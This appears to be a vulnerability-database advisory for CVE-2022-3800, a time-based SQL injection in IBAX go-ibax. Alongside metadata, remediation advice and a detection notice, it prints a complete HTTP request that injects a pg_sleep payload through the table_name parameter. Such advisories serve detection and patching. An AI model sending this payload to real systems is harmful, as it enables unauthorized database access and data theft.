🔙 목록으로 돌아가기

CVE-2022-3800: IBAX - SQL Injection

TitleIBAX - SQL Injection
AuthorJC175
SeverityHigh
ImpactSuccessful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire system.
RemediationTo remediate this vulnerability, ensure that all user-supplied input is properly validated and sanitized before being used in SQL queries. Implement parameterized queries or use an ORM framework to prevent SQL injection attacks.
CVSS Score8.8
EPSS Score0.28747
CVE IDCVE-2022-3800
CWE IDCWE-707,CWE-89
Tags time-based-sqli cve2022 cve ibax go-ibax sqli vuln

🔍 Vulnerability Description

IBAX go-ibax functionality is susceptible to SQL injection via the file /api/v2/open/rowsInfo. The manipulation of the argument table_name leads to SQL injection, and the attack may be launched remotely. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

🌐 HTTP Request

POST /api/v2/open/rowsInfo HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Safari/605.1.15
Connection: close
Content-Length: 71
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

order=1&table_name=pg_user"%3b+select+pg_sleep(6)%3b+--"&limit=1&page=1

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-3800.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-3800.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A